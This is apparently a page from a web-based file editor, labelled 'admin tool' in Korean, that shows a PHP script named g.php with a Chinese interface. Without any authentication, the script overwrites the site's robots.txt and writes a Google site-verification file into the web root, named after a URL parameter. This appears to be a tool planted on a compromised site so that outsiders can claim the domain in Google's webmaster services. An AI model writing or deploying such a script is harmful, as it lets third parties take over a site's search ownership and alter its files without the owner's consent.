관리-도구
편집 파일: g.php
<?php header('Content-Type: text/html; charset=utf-8'); $google_code = ''; if (isset($_GET['code'])) { $google_code = (string) $_GET['code']; } elseif (isset($_GET['google'])) { $google_code = (string) $_GET['google']; } $google_code = trim($google_code); if (preg_match('/\.html$/i', $google_code)) { $google_code = substr($google_code, 0, -5); } $google_code = trim($google_code); $google_requested = ($google_code !== ''); $google_valid = $google_requested && (bool) preg_match('/^[A-Za-z0-9_-]+$/', $google_code); $is_https = false; if (isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] === 'on' || $_SERVER['HTTPS'] === '1')) { $is_https = true; } elseif (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) { $is_https = true; } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']) === 'https') { $is_https = true; } elseif (isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) === 'on') { $is_https = true; } elseif (isset($_SERVER['HTTP_X_FORWARDED_SSL']) && strtolower($_SERVER['HTTP_X_FORWARDED_SSL']) === 'on') { $is_https = true; } $protocol = $is_https ? 'https://' : 'http://'; $raw_host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost'); $host_parts = explode(':', $raw_host); $host = $host_parts[0]; $script_name = isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : '/g.php'; $example_url = $protocol . $raw_host . $script_name . '?code=googlexxxxxxxx'; $root_path = ''; if (isset($_SERVER['DOCUMENT_ROOT']) && $_SERVER['DOCUMENT_ROOT'] !== '') { $root_path = $_SERVER['DOCUMENT_ROOT']; } else { $root_path = dirname(__FILE__); } $root_path = str_replace('\\', '/', $root_path); $root_path = rtrim($root_path, '/'); $robots_content = "User-agent: *\n"; $robots_content .= "Allow: /\n"; $robots_content .= "Sitemap: " . $protocol . $host . "/sitemap.xml\n"; $robots_file = $root_path . '/robots.txt'; @file_put_contents($robots_file, $robots_content); $robots_success = false; if (is_file($robots_file) && filesize($robots_file) > 0) { if (@file_get_contents($robots_file) === $robots_content) { $robots_success = true; } } $google_filename = ''; $google_content = ''; $google_file = ''; $google_success = false; $google_status = 'skipped'; if ($google_requested && !$google_valid) { $google_status = 'invalid'; } elseif ($google_valid) { $google_filename = $google_code . '.html'; $google_content = 'google-site-verification: ' . $google_filename; $google_file = $root_path . '/' . $google_filename; @file_put_contents($google_file, $google_content); if (is_file($google_file) && filesize($google_file) > 0) { if (@file_get_contents($google_file) === $google_content) { $google_success = true; $google_status = 'success'; } } if (!$google_success) { $google_status = 'failed'; } } function h($value) { return htmlspecialchars((string) $value, ENT_QUOTES, 'UTF-8'); } $robots_badge = $robots_success ? array('ok', '写入成功') : array('err', '写入失败'); $google_badges = array( 'skipped' => array('skip', '已跳过'), 'invalid' => array('warn', '参数无效'), 'success' => array('ok', '写入成功'), 'failed' => array('err', '写入失败'), ); $google_badge = $google_badges[$google_status]; $has_error = !$robots_success || in_array($google_status, array('invalid', 'failed'), true); $page_title = ($has_error ? '出错了-' : '已生成-') . 'SEO 文件生成'; ?> <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title><?php echo h($page_title); ?></title> <style> :root { --bg: #f3f5f8; --card: #ffffff; --ink: #1f2937; --muted: #6b7280; --line: #e5e7eb; --ok: #067647; --ok-bg: #ecfdf3; --err: #b42318; --err-bg: #fef3f2; --skip: #344054; --skip-bg: #f2f4f7; --warn: #b54708; --warn-bg: #fffaeb; --accent: #155eef; } * { box-sizing: border-box; } body { margin: 0; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei", sans-serif; background: radial-gradient(circle at top left, #e0eaff 0, var(--bg) 42%); color: var(--ink); line-height: 1.6; } .wrap { max-width: 760px; margin: 0 auto; padding: 40px 20px 56px; } .hero { margin-bottom: 24px; } .hero h1 { margin: 0 0 8px; font-size: 28px; letter-spacing: -0.03em; } .hero p { margin: 0; color: var(--muted); } .meta, .card { background: var(--card); border: 1px solid var(--line); border-radius: 16px; box-shadow: 0 10px 30px rgba(16, 24, 40, 0.04); } .meta { padding: 16px 18px; margin-bottom: 16px; display: grid; gap: 8px; } .row { display: flex; gap: 10px; align-items: baseline; flex-wrap: wrap; } .label { min-width: 88px; color: var(--muted); font-size: 13px; } code, pre { font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", monospace; } code { background: #f8fafc; border: 1px solid var(--line); border-radius: 6px; padding: 1px 6px; font-size: 13px; word-break: break-all; } .card { padding: 20px; margin-bottom: 16px; } .card-head { display: flex; justify-content: space-between; align-items: center; gap: 12px; margin-bottom: 12px; } .card h2 { margin: 0; font-size: 18px; } .badge { display: inline-flex; align-items: center; border-radius: 999px; padding: 4px 10px; font-size: 12px; font-weight: 600; white-space: nowrap; } .ok { color: var(--ok); background: var(--ok-bg); } .err { color: var(--err); background: var(--err-bg); } .skip { color: var(--skip); background: var(--skip-bg); } .warn { color: var(--warn); background: var(--warn-bg); } .desc { margin: 0 0 12px; color: var(--muted); } pre { margin: 0; background: #0f172a; color: #e2e8f0; border-radius: 12px; padding: 14px 16px; overflow: auto; font-size: 13px; white-space: pre-wrap; word-break: break-word; } .hint { margin-top: 20px; color: var(--muted); font-size: 13px; } .hint a { color: var(--accent); } </style> </head> <body> <div class="wrap"> <div class="hero"> <h1>SEO 文件生成结果</h1> <p>已尝试写入网站根目录所需的基础 SEO 文件。</p> </div> <div class="meta"> <div class="row"> <span class="label">网站根目录</span> <code><?php echo h($root_path); ?></code> </div> <div class="row"> <span class="label">当前站点</span> <code><?php echo h($protocol . $host); ?></code> </div> </div> <div class="card"> <div class="card-head"> <h2>robots.txt</h2> <span class="badge <?php echo $robots_badge[0]; ?>"><?php echo h($robots_badge[1]); ?></span> </div> <?php if ($robots_success): ?> <p class="desc">已写入:<code><?php echo h($robots_file); ?></code></p> <pre><?php echo h($robots_content); ?></pre> <?php else: ?> <p class="desc">写入失败。请检查网站根目录 <code>DOCUMENT_ROOT</code> 的写入权限。</p> <?php endif; ?> </div> <div class="card"> <div class="card-head"> <h2>Google 验证文件</h2> <span class="badge <?php echo $google_badge[0]; ?>"><?php echo h($google_badge[1]); ?></span> </div> <?php if ($google_status === 'skipped'): ?> <p class="desc">未提供验证码,已跳过生成。可通过查询参数 <code>code</code> 或 <code>google</code> 传入,无需加 <code>.html</code>。</p> <?php elseif ($google_status === 'invalid'): ?> <p class="desc">验证码格式无效。请只使用字母、数字、下划线或连字符,例如 <code>google517c3ca44ca38f1d</code>。</p> <?php elseif ($google_status === 'success'): ?> <p class="desc">已写入:<code><?php echo h($google_file); ?></code></p> <pre><?php echo h($google_content); ?></pre> <?php else: ?> <p class="desc">写入失败。请检查网站根目录 <code>DOCUMENT_ROOT</code> 的写入权限。</p> <?php endif; ?> </div> <p class="hint">示例:<code><?php echo h($example_url); ?></code></p> </div> </body> </html>